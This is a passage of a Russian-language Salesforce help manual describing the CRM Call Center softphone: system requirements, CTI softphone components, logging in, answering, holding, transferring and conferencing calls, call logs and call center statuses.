могут быть добавлены в сообщения эл. почты или сообщения портала. Готовые
примечаниямогутбытьдобавленывобновлениястатусаобращенияижурналывызовов.
Лента обращений позволяет использовать быстрый текст в действиях «Эл. почта»,
«Портал», «Изменить статус» и «Записать вызов в журнал».

Прим.: Используемое действие поддерживает только сообщения типа «Быстрый
текст», назначенные соответствующему каналу. Например, действие «Эл. почта»
поддерживает только сообщения, назначенные каналу «Эл. почта».

1. Выберите действие «Эл. почта», «Портал», «Изменить статус» или «Записать вызов в
журнал».

2. Введите символы ;; в текст действия.
Еслиперед этимиспользовался «Быстрыйтекст», тоотобразится список сообщений
«Быстрый текст» с сообщениями, использовавшимися последними, вверху списка.
Если «Быстрый текст» используется впервые, сообщения не отобразятся.

3. Чтобы просмотреть дополнительные сообщения, введите слово или фразу.
При этом отображается список сообщений, содержащих введенные слова.

4. Чтобы просмотреть заголовок и полный текст сообщения, щелкните или выделите
нужное сообщение с помощью клавиш со стрелками.
Полное сообщение отображается в нижней части списка «Быстрый текст».
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5. Чтобы выбрать сообщение, дваждыщелкните или выделите нужное сообщение и нажмите клавишу ENTER.
Поля слияния, используемые выбранным сообщением, заполняются при добавлении сообщения.

Общение с клиентами по телефону

Salesforce CRM Call Center. Требования к системе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение Salesforce CRM Call Center доступно только тем пользователям Salesforce, на
рабочие компьютеры которых установлен небольшой адаптер CTI. Ниже перечислены
минимальные требования к системе для установки адаптера.

• Адаптеры, разработанные с помощью инструментария CTI Toolkit 4.0 или более
поздней версии

– Microsoft® Internet Explorer® 8; Mozilla® Firefox® 3.5; Apple® Safari® 4; Google Chrome™ 10.0
(Internet Explorer 11 не поддерживается)

– Microsoft Windows® XP (с Microsoft .NET Framework)

• Адаптеры, разработанныеспомощьюпредыдущихверсийинструментария CTI Toolkit

– Internet Explorer 7 или 8; Firefox 3.5 или 3.6 (Safari, Chrome и Internet Explorer 11 не
поддерживаются)

– Windows 7 (32-разрядная версия): 32-разрядная версия Internet Explorer 8; Firefox 3.5 или 3.6

– Windows 7 (64-разрядная версия): 64-разрядная версия Internet Explorer 8; Firefox 3.5 или 3.6

– 256 МбОЗУ (рекомендуется 512 Мб)

– 20 Мб свободного дискового пространства

– Процессор Intel® Pentium® II, 500 МГц или лучше

– Windows XP

Прим.: При использовании адаптера CTI, созданного посредством инструментария CTI Toolkit 4.03, всплывающее
окно отображается в обозревателе Firefox или Chrome. Подключение к приложению Salesforce CRM Call Center
поддерживается только при наличии данного всплывающего окна.

СМ. ТАКЖЕ:

Общие сведения о Call Center

Использование программного телефона
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Общие сведения о программном телефоне

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Программный телефон — это настраиваемое средство управления вызовами, которое
отображается в том случае, если пользователь зарегистрирован в центре обработки
вызовов и работает на компьютере с установленным адаптером CTI. Версия
инструментария CTI Toolkit, используемая для разработки программного телефона,
определяетегофункции, интерфейсиместоположение. Дополнительнуюинформацию
см. в разделах ниже.

• Общие сведения о программных телефонах CTI 1.0 и 2.0 на странице 2427

• Общие сведения о программных телефонах CTI 3.0 и 4.0 на странице 2429

СМ. ТАКЖЕ:

Общие сведения о Call Center

Общие сведения об инструментарии Salesforce CTI Toolkit

Консоль Salesforce

Использование программного телефона

Использование программного телефона на консоли Salesforce

Проверка версии используемого адаптера CTI

Общие сведения о программных телефонах CTI 1.0 и 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Программный телефон — это настраиваемое средство управления вызовами, которое
отображается в том случае, если пользователь зарегистрирован в центре обработки
вызовов и работает на компьютере с установленным адаптером CTI.Программные
телефоны, разработанные с помощью инструментария CTI Toolkit 1.0 или 2.0,
отображаются на боковой панели любой страницы Salesforce.Ниже перечислены
компонентыпрограммноготелефона CTI 1.0 или 2.0, которыедоступныадминистраторам
и разработчикам для дополнительной настройки.

Область состояния центра обработки вызовов
Раскрывающийся список, содержащий статусы готовности пользователя к приему
вызовов.См. раздел «Изменение состояния центра обработки вызовов» на странице
2439.

Заголовок телефонной линии
Текущий статус телефонной линии. Значок статуса меняет цвет и мерцает ( ), а также позволяет просмотреть
текстовое описание. Чтобыотобразить или скрыть клавиатуру программного телефона и область сведенийо вызове,
щелкните имя нужной линии (например, «Линия 1»).

Область сведений о вызове
Отображениеданных, связанныхс вызовом, например, номертелефонаклиента, продолжительностьвызоваи ссылки
на любые связанные записи.

Область кнопок вызова
Отображение кнопок управления вызовом (например, набор номера, завершение вызова, удержание вызова,
переадресация вызова, конференц-связь и подключение второй линии). См. раздел «Использование программного
телефона» на странице 2437.
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Областьжурнала текущего вызова
Отображение сведений о вызове, записанных в журнал. По умолчанию поле «Тема» содержит дату и время вызова,
однако оно доступно для редактирования. Поле «Имя» позволяет указать связанный контакт, интерес или
организацию-лицо, а поле «Связано с»  — добавить в журнал вызовов дополнительную запись после завершения
вызова. Текстовое поле «Комментарии» предназначено для ввода дополнительных сведений о вызове. Журналы
вызовов сохраняются в записи действия, которая может быть извлечена из области недавних вызовов в программном
телефоне или связанного списка «Журнал действий» соответствующей записи. См. раздел «Создание журналов
вызовов в программном телефоне» на странице 2432.

Область недавних вызовов
Отображение сохраненныхжурналов для последних вызовов. Чтобыоткрыть страницу сведенийожурнале вызовов,
щелкните ссылку «Тема». Чтобы открыть связанную запись, щелкните ссылку «Имя» или «Связано с». Чтобы
повторно открыть журнал вызовов для редактирования в программном телефоне, щелкните «Правка».

Отчет «Мои вызовы сегодня»
Просмотр отчета по всем исходящим или входящим вызовам за последний день.

Логотип программного телефона
Отображение настраиваемого логотипа для каждого адаптера CTI.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Общие сведения о программном телефоне

Общие сведения о Call Center

Общие сведения об инструментарии Salesforce CTI Toolkit

Консоль Salesforce

Использование программного телефона
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Общие сведения о программных телефонах CTI 3.0 и 4.0

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Программный телефон — это настраиваемое средство управления вызовами, которое
отображается в том случае, если пользователь зарегистрирован в центре обработки
вызовов и работает на компьютере с установленным адаптером CTI.Программные
телефоны, разработанные с помощью инструментария CTI Toolkit 3.0 или 4.0,
отображаются в нижнем колонтитуле консоли Salesforce или на боковой панели любой
страницы Salesforce. Ниже перечислены компоненты программного телефона CTI 3.0
или 4.0, которые доступны администраторам и разработчикам для дополнительной
настройки.

Область состояния центра обработки вызовов
Раскрывающийся список, содержащий статусы готовности пользователя к приему
вызовов.См. раздел «Изменение состояния центра обработки вызовов» на странице
2439.

Заголовок телефонной линии
Текущий статус телефонной линии. Значок статуса меняет цвет и мерцает ( ), а
также позволяет просмотреть текстовое описание. Чтобы отобразить или скрыть
клавиатуру программного телефона и область сведений о вызове, щелкните имя
нужной линии (например, «Линия 1»).

Область сведений о вызове
Отображение данных, связанных с вызовом, например, номер телефона клиента,
продолжительность вызова и ссылки на любые связанные записи.

Область кнопок вызова
Отображение кнопок управления вызовом (например, набор номера, завершение
вызова, удержание вызова, переадресация вызова, конференц-связь и подключение
второй линии). См. раздел «Использование программного телефона» на странице
2437.

Отчет «Мои вызовы сегодня»
Просмотр отчета по всем исходящим или входящим вызовам за последний день.

Логотип программного телефона
Отображение настраиваемого логотипа для каждого адаптера CTI.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Общие сведения о программном телефоне

Общие сведения о Call Center

Общие сведения об инструментарии Salesforce CTI Toolkit

Консоль Salesforce

Использование программного телефона
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Редактирование личных параметров программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования личных
параметров программного
телефона:
• Участник центра

обработки вызовов

Система Salesforce поддерживает управление личными параметрами программного
телефона. Чтобы изменить параметры, введите строку «Программный телефон» в поле
«Быстрый поиск» на странице личных параметров и выберите пункт «Параметры
моего программного телефона».

Ниже перечислены доступные параметры.

ОписаниеПараметр

Установите данныйфлажок для
выполнения автоматического входа в
программный телефон при входе в
систему Salesforce.

Автоматический вход в центр обработки
вызовов при входе в систему
Salesforce

Чтобы определить способ отображения
единственной записи, соответствующей
входящему вызову, выберите одно из
указанных ниже значений.

Если найдена только одна запись для
входящего вызова

• Всегда открывать запись
автоматически. В этом случае запись
отображается в основном окне
Salesforce, перезаписывая все
предыдущие данные. Любые
несохраненные изменения будут
потеряны.

• Никогда не открывать запись
автоматически. В этом случае
совпадающая запись не отображается.
Чтобы просмотреть запись, щелкните
соответствующую ссылку в
программном телефоне.

СМ. ТАКЖЕ:

Общие сведения о Call Center

Использование программного телефона

Вход в программный телефон
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Прием вызова с помощью программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для приема вызовов с
помощью программного
телефона:
• Участник центра

обработки вызовов

Ниже перечислены случаи, позволяющие использовать программный телефон для
приема вызовов.

• Вызов добавлен в очередь и отображается статус оператора «Готов к вызовам»

• Прямой вызов на добавочный номер и отображается статус оператора «Готов к
вызовам»

Привходящемвызовемерцает красная кнопкаиотображается строка «Входящийвызов»,
«Входящаяпередача» или «Входящаяконференция» напротивименителефоннойлинии
в программном телефоне.

Сведения о вызове (номер телефона абонента и набранный им номер телефона)
отображаются над кнопкой «Ответ». Если номер телефона абонента совпадает с
номером, указанным в текущей записи Salesforce, то также отображается ссылка на эту
запись. Кроме того, если абонент вводит номер организации или другие данные до
соединения с оператором, то программный телефон выполняет поиск записей,
содержащихданныесведения, иавтоматическиотображаетссылкинарезультатыпоиска.

Чтобы принять входящий вызов, выполните одно из указанных ниже действий.

• Нажмите кнопку «Ответ» в программном телефоне.

• Воспользуйтесь стационарным телефоном.

При приеме вызова отображается параметр «Продолжительность вызова», а статусу
оператора автоматически присваивается значение «Занят». Пропущенный вызов
переадресовывается другому пользователю, а статусу оператора автоматически присваивается значение «Не готов к
вызовам».

Ниже перечислены действия, доступные пользователю после приема вызова.

• Добавление комментариев и связывание вызова с записями Salesforce

• Удержание вызова

• Переадресация вызова другому пользователю центра обработки вызовов

• Организация конференц-связи с другими пользователями центра обработки вызовов

• Завершение вызова

Еслипрограммныйтелефонподдерживаетнескольколиний, топриответенавторуюлиниюперваялинияавтоматически
переключается в режим удержания.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

Совет: Всплывающиеокна — это страницы, отображающиеся в томслучае, есливходящийвызов соответствуетномеру
телефона, указанномув текущейзаписи Salesforce. Втаблиценижепредставленыслучаиотображениявсплывающих
окон (только для статуса «Готов к вызовам»).

Не отображаютсяОтображаютсяОбласть отображения всплывающих окон

Страницы редактирования

Страницы сведений

Страницы сведений с функцией встроенного редактирования
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Не отображаютсяОтображаютсяОбласть отображения всплывающих окон

Страницы просмотра и редактирования сведений на консоли
Salesforce

Исходящие вызовы

СМ. ТАКЖЕ:

Использование программного телефона

Изменение состояния центра обработки вызовов

Создание журналов вызовов в программном телефоне

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания журнала
вызовов:
• Участник центра

обработки вызовов

Каждый входящий или исходящий внешний вызов, выполненный с помощью
программного телефона, автоматически создает запись действия в журнале вызовов.
Журналы вызовов могут быть просмотрены в связанном списке «Журнал действий»
любой записи Salesforce, связанной с вызовом, или в результатах отчета. Ниже
перечисленысведения, доступныев автоматическисозданныхзаписяхжурнала вызовов.

• Оператор центра обработки вызовов

• Номер телефона контакта

• Дата вызова

• Длительность вызова (в секундах)

• Направление вызова (входящий или исходящий)

• Уникальный код вызова в системе CTI

Вовремявызовапользователямдоступныследующиедействия: связываниедвух записей,
редактированиетемыидобавлениекомментариеввжурналвызова. Дляэтоговыполните
указанные ниже действия.

1. Свяжите не более двух записей с журналом вызова...

• при просмотре или создании контакта, интереса или организации-лица
(раскрывающийся список «Имя» отображается в журнале вызовов). Данный
список позволяет выбрать отдельную запись контакта, интереса или
организации-лица, которая должна быть связана с вызовом.

• при просмотре или создании любого другого типа записи Salesforce (раскрывающийся список «Связано с»
отображается в журнале вызовов). Данный список позволяет выбрать отдельную запись любого другого объекта,
которая должна быть связана с вызовом.

Прим.: Записинастраиваемогообъектамогутбытьсвязанысжурналомвызововтольковслучаеотслеживания
действий настраиваемым объектом.

По умолчанию в списках «Имя» и «Связано с» выбраны записи, просмотренные последними, кроме случаев
самостоятельного выбора другой записи. Журнал вызовов добавляется в связанный список «Журнал действий»
записей, выбранных в данных списках, после завершения вызова. Данные записи также отображаются при
переадресации вызова или конференц-связи с другим пользователем Salesforce CRM Call Center.

2. Введите сведения о вызове в поля «Тема» и «Комментарии».
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Журнал вызовов автоматически сохраняется после завершения вызова в качестве выполненной задачи. Чтобы быстро
просмотреть сохраненные журналы для недавних вызовов, разверните раздел программного телефона «Последние n
вызовов». Данный список содержит не более трех последних вызовов, а самый последний вызов отображается первым.

• Чтобы изменить журнал недавнего вызова, щелкните ссылку «Правка» напротив поля «Тема».

• Чтобы просмотреть сохраненный журнал вызовов, щелкните ссылку «Тема».

• Чтобы просмотреть запись, связанную с журналом вызовов, щелкните имя нужной записи.

Чтобы просмотреть список всех входящих или исходящих вызовов за текущий день, щелкните ссылку «Мои вызовы
сегодня». Данная ссылка открывает отчет «Мои вызовы сегодня» на вкладке «Отчеты».

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Использование программного телефона

Обработка данных по вызову с помощью программного телефона

Удержание вызова с помощью программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удержания вызова:
• Участник центра

обработки вызовов

Приложение Salesforce CRM Call Center поддерживает возможность удержания вызовов.
Чтобы переключить абонента в режим ожидания, нажмите кнопку «Удержание» для
текущей линии программного телефона. В этом случае автоматически отображается
параметр «Время удержания»  (время ожидания абонента), а значок статуса линии ( )
мерцает желтым цветом.

• Удержаниевызовавыполняетсяавтоматическивслучаепереадресациивызова, набора
номера на второй линии или организации конференц-связи.

• Принажатиикнопки «Удержание» врежимеконференц-связимикрофонтекущего
пользователя отключается, однако разговор может быть продолжен другими
участниками.

Чтобы возобновить вызов, щелкните «Снять с удержания». Чтобы завершить вызов в
режиме удержания, нажмите кнопку «Завершить вызов».

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в
даннойсправочнойсистеме, определяетсянастройкамиорганизациииливерсией
инструментарияCTI Toolkit, использованнойдляразработкипрограммноготелефона.
Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Использование программного телефона
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Переадресация вызова с помощью программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переадресации вызова:
• Участник центра

обработки вызовов

Чтобы переадресовать вызов другому пользователю центра обработки вызовов или на
внешний номер, выполните указанные ниже действия.

1. СвяжитенужныезаписиSalesforce с соответствующимвызовом. Например, сохраните
обращение, созданное для вызова, и выберите его в одном из полей «Связано с»,
которыедоступнывтекущемжурнале вызовов. Вэтомслучаепользователь, которому
был переадресован вызов, получит доступ к обращению в своем программном
телефоне.

2. Нажмите кнопку «Передача» в нужной линии программного телефона. В этом
случае абонент останется на линии, а текущему пользователю будет доступна новая
клавиатура программного телефона.

3. Чтобы ввести нужныйномер телефона, воспользуйтесь клавиатуройпрограммного
телефона, клавиатурой компьютера или каталогом центра обработки вызовов.

4. Щелкните «Начать передачу». При наборе вызываемого номера первый абонент
автоматическипереводитсяврежимудержаниявызова. Еслинабранныйномерзанят,
отображается соответствующее сообщение, позволяющееповторитьилиотменить
вызов.

5. Чтобыустановить связьмеждупервымабонентомивызываемымномером, щелкните
«Завершить передачу». Чтобы завершить переадресацию вызова, щелкните
«Отменить передачу».

По завершении переадресации линия освобождается, а оператору присваивается статус «Готов к вызовам».

СМ. ТАКЖЕ:

Общие сведения о Call Center

Использование программного телефона

Обработка данных по вызову с помощью программного телефона

Создание журналов вызовов в программном телефоне
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Организация конференц-связи с помощью программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для организации
конференц-связи:
• Участник центра

обработки вызовов

Чтобыорганизоватьконференц-связьсдругимпользователемцентраобработкивызовов
или внешним номером, выполните указанные ниже действия.

1. Нажмите кнопку «Конференция» для текущей линии программного телефона. В
этом случае абонент автоматически переводится в режим удержания, а текущему
пользователю будет доступна новая клавиатура программного телефона.

2. Чтобы ввести нужныйномер телефона, воспользуйтесь клавиатуройпрограммного
телефона, клавиатурой компьютера или каталогом центра обработки вызовов.

3. Щелкните «Начать конференцию». При наборе вызываемого номера первый
абонент переводится в режим удержания вызова. Если набранный номер занят,
отображается соответствующее сообщение, позволяющееповторитьилиотменить
вызов.

4. Чтобы начать конференцию после соединения со вторым абонентом, щелкните
«Завершить конференцию». В этом случае устанавливается связь между первым
и вторым абонентами, в результате чего все три пользователя могут разговаривать
друг с другом. Чтобы завершить второй вызов и вернуться к первому абоненту после
набора второго номера, щелкните «Отменить конференцию».

Прим.:

• При нажатии кнопки «Удержание» в режиме конференц-связи микрофон
текущего пользователя отключается, однако разговор может быть продолжен
другими участниками.

• Некоторые телефонные системы ограничивают количество абонентов,
доступное для конференц-связи на одной линии. Дополнительную
информацию можно получить у администратора.

СМ. ТАКЖЕ:

Общие сведения о Call Center

Использование программного телефона

Удержание вызова с помощью программного телефона
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Обработка данных по вызову с помощью программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для завершения вызова:
• Участник центра

обработки вызовов

Чтобы завершить вызов, выполните указанные ниже действия.

1. Обновите связанный журнал вызовов. Например, выберите созданное обращение
или просмотренный контакт в одном из полей «Связано с», которые доступны в
текущем журнале вызовов, и введите любые сведения о вызове в текстовое поле
«Комментарии».

Журналы вызовов не создаются для внутренних вызовов.

2. Чтобы завершить вызов, нажмите кнопку «Завершить вызов» в текущей линии
программного телефона или воспользуйтесь стационарным телефоном. В этом
случае вызов завершается, а линия освобождается.

3. Если коды обработки данных не поддерживаются, то центру обработки вызовов
присваивается статус «Готов к вызовам», ажурнал вызова сохраняется автоматически.

4. Если коды обработки данных поддерживаются, то центру обработки вызовов
присваивается статус «Обработка данных», а коды причин отображаются в
программном телефоне. Данный статус не поддерживает прием входящих вызовов.

a. Выберите код причины, соответствующий результату вызова.

b. При необходимости внесите дополнительные изменения в журнал вызовов.

c. Нажмите кнопку «Готово». В этом случае центру обработки вызовов
присваивается статус «Готов к вызовам», а журнал вызова сохраняется автоматически.

Всесохраненныежурналывызововдобавляютсявразделпрограммноготелефона «Последние n вызовов». Чтобыбыстро
просмотреть сохраненные журналы, щелкните любую связанную ссылку.

• Ссылка «Тема»  (например, «Вызов 01/06/2006 12:34») открывает страницу сведений о журнале вызовов.

• Любая ссылка «Связано с» открывает страницу сведений для указанной записи.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Общие сведения о Call Center

Использование программного телефона

2436

Отправка ответов клиентамПоддержка клиентов



Использование программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
использования
программного телефона:
• Участник центра

обработки вызовов

Программныйтелефон Salesforce CRM Call Centerотображаетсяна левойбоковойпанели
окнаSalesforceиливнижнемколонтитулеконсоли Salesforce. Нижеперечисленыдействия,
доступные в программном телефоне.

• Вход в центр обработки вызовов

• Изменение состояния центра обработки вызовов для отображения готовности
пользователя к приему новых вызовов

• Набор номера телефона с помощью встроенного программного телефона или
значка напротив любого номера телефона, связанного с контактом, интересом,
действием или организацией

• Поиск номера телефона в настраиваемом каталоге центра обработки вызовов

• Прием вызова от другого пользователя центра обработки вызовов или внешнего
номера

• Удержание вызова

• Организация конференц-связи с другим пользователем центра обработки вызовов
или внешним номером

• Переадресация вызова другому пользователю центра обработки вызовов или
внешнему номеру

• Добавление комментариев или связывание записей Salesforce с автоматическим
журналом вызовов для быстрой записи сведений, связанных с вызовом

• Редактирование личных параметров Salesforce CRM Call Center для настройки режима работы программного телефона

Пользователи Salesforce CRM Call Center, работающие с вкладкой «Консоль», не могут сворачивать боковую панель.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Общие сведения о Call Center

Salesforce CRM Call Center. Требования к системе

Использование программного телефона на консоли Salesforce

Обработка данных по вызову с помощью программного телефона
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Вход в программный телефон

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для входа в Salesforce CRM
Call Center:
• Участник центра

обработки вызовов

Приложение Salesforce CRM Call Center доступно пользователям после входа в систему
Salesforce и телефонную систему организации. Область входа в телефонную систему
расположена на боковой панели и отображается только в указанных ниже случаях.

• Пользователь назначен центру обработки вызовов в системе Salesforce.

• На рабочий компьютер пользователя установлен соответствующий адаптер CTI.
(Наличие адаптера определяется по значку в системной области компьютера.
Системная область расположена возле часов в нижнем правом углу экрана.)

Еслиобластьвходавтелефоннуюсистемунеотображается, обратитеськадминистратору.

Взависимостиотиспользуемойтелефоннойсистемы, укажите кодпользователя, пароль
или другие учетные данные. Чтобы подключиться к телефонной системе, нажмите
кнопку «Вход».

Чтобы автоматически входить в телефонную систему без нажатия кнопки «Вход»,
выполните указанные ниже действия.

1. Введите строку «Программный телефон» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры программного телефона».

2. Установите флажок «Автоматический вход в центр обработки вызовов при
входе в систему Salesforce». Система Salesforce запоминает учетные данные
пользователя, указанные при первом входе в телефонную систему, и использует их
для автоматического подключения к телефонной системе при каждом входе в Salesforce.

Прим.: В случае выхода из телефонной системы во время работы с Salesforce, функция автоматического входа
отключается доокончания сеансаработыс Salesforce. Чтобывключитьфункциюавтоматического входа, выполните
выход и повторный вход в систему Salesforce.

Послевхода в телефоннуюсистемуцентруобработкивызовов автоматическиприсваивается статус «Неготовк вызовам».
Чтобы принимать вызовы, измените статус центра обработки вызовов на значение «Готов к вызовам».

Совет: Еслиприиспользованииадаптера CTI, разработанногоспомощьюинструментарияCTI Toolkit 4.0, пользователь
открывает на единственной вкладке обозревателя внешнюю веб-страницу или страницу Salesforce, которая не
содержит боковой панели (например, панель мониторинга), то через 8 часов этот пользователь автоматически
выходит из программного телефона. Время автоматического выхода определяется параметрами программного
телефона, заданными администратором. Чтобы оставаться в программном телефоне, откройте как минимум на
одной вкладке обозревателя страницу Salesforce, содержащуюбоковуюпанель (например, начальнуюстраницуили
страницу обращений). Автоматический выход не выполняется на консоли Salesforce.

СМ. ТАКЖЕ:

Использование программного телефона

Проверка версии используемого адаптера CTI

Salesforce CRM Call Center. Требования к системе
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Изменение состояния центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения состояния
центра обработки вызовов:
• Участник центра

обработки вызовов

При работе с приложением Salesforce CRM Call Center пользователи могут блокировать
входящие вызовына программном телефоне илименять текущие статусы доступности.

Чтобы заблокировать входящие вызовы, выберитенужныйстатус рядом со значком
в программном телефоне. Допустимые значения указаны ниже.

ОписаниеСостояние центра обработки вызовов

Пользователь свободен и готов к приему
следующего прямого или отложенного
вызова.

Готов к вызовам

Пользователь свободен, но не готов к
приему следующего отложенного вызова.

Данный статус позволяет принимать
прямые вызовы на добавочный номер.

Не готов к вызовам

Пользователь занят и не готов к приему
следующего прямого или отложенного
вызова.

Занято

Пользователь занят и не будет готов к
приему следующих вызовов по
завершении текущего вызова.

Обработка данных

Пользователь завершает работу с
программным телефоном, но остается в

Выход

системе Salesforce. При выборе данного
статуса приложение Salesforce CRM Call
Center автоматически отключается от
центра обработки вызовов и открывает
окно входа в программный телефон.

При первом входе в центр обработки вызовов Salesforce CRM Call Center автоматически устанавливается статус «Не готов
к вызовам». Для приема вызовов следует выбрать статус «Готов к вызовам» из раскрывающегося списка.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Использование программного телефона

Вход в программный телефон

Выполнение вызова с помощью программного телефона

Обработка данных по вызову с помощью программного телефона

2439
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Использование каталога центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования каталога
центра обработки вызовов:
• Участник центра

обработки вызовов

Каждый центр обработки вызовов поддерживает каталог, содержащий имена и номера
всех связанных пользователей, а также номера телефонов, связанные с используемыми
записями.

Чтобы воспользоваться каталогом центра обработки вызовов, выполните указанные
ниже действия.

1. Щелкните имя свободной линии в программном телефоне. При этом откроется
соответствующая клавиатура. Чтобы открыть каталог центра обработки вызовов,

щелкните значок возле клавиатуры программного телефона.

2. Найдите нужный номер телефона в каталоге центра обработки вызовов.

a. Выберите нужный тип записи в раскрывающемся списке «Выбрать объект».
Данный список содержит все объекты, в которых используется поле телефона.

b. Введите полное имя или его часть в текстовое поле «Поиск».

c. Чтобы просмотреть только записи, содержащие поисковый запрос, нажмите
кнопку «Начать».

3. Чтобы автоматически набрать найденный номер на клавиатуре программного
телефона, щелкните имя связанной записи.

4. Чтобы выполнить вызов, щелкните «Набор».

СМ. ТАКЖЕ:

Общие сведения о Call Center

Использование программного телефона

Выполнение вызова с помощью программного телефона

Организация конференц-связи с помощью программного телефона

Переадресация вызова с помощью программного телефона

2440
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Выполнение вызова с помощью программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения вызова:
• Участник центра

обработки вызовов

Приложение Salesforce CRM Call Center поддерживает три способа выполнения вызова.

• Набор номера телефона вручную

• Использование каталога центра обработки вызовов

• Набор номера телефона однимщелчком мыши

Чтобывоспользоватьсявторойтелефоннойлиниейвовремявызова, щелкните«Новая
линия». В этом случае набор нового номера телефона может быть выполнен без
прерывания текущего соединения. Чтобы переключить первый вызов на удержание и
позвонить другому абоненту, щелкните «Набор».

Если при выполнении вызова установлен статус центра обработки вызовов «Готов к
вызовам», то пользователю присваивается статус «Не готов к вызовам», для которого
должны быть указаны коды причин.

Чтобызавершитьвызов, нажмитекнопку «Завершитьвызов». Некоторыетелефонные
системы позволяют завершать вызовы на программном телефоне только после ответа
вызываемого абонента. В этом случае кнопка «Завершить вызов» не отображается,
поэтому для завершения вызова необходимо использовать стационарный телефон.

Еслинабранныйномерзанят, отображаетсясоответствующеесообщение, позволяющее
повторить или отменить вызов.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
